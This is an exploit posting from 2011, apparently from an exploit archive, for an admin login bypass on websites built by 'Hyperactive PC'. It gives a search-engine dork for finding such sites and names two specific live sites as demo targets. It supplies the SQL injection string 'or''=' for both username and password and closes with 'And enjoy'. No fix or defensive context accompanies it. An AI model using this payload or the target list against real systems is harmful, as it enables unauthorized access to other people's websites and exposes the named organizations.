# Exploit Title:Hyperactive PC Admin Auth Bypass
# Date: 17/6/2011
# Author: Angel Injection & Noor Al-Iraqia
# home Page: http://www.club-h.co.cc
# Email: Angel-Injection[at]hotmail.com
# Vendor or Software Link:n/a
# Version: n/a
# Category:: webapps
# Google dork:"Website by Hyperactive PC, L.L.C."
# Tested on: Linux Back Track 5
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
# Demo site:
# 1-www.minnechauggolf.com/admin_login.asp
# 2-thecourseatyale.org/admin_login.asp
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
There are lots of sites
How exploitation
Exploit
http://server/[path]/admin.asp
User name : 'or''='
Password : 'or''='
And enjoy
-- ------ ---------- ----------- ------- ------------- ------- --------- ------ ----
Greetz To :1337day Team
Thanks to all the people of Iraq And Club Hack Team
|
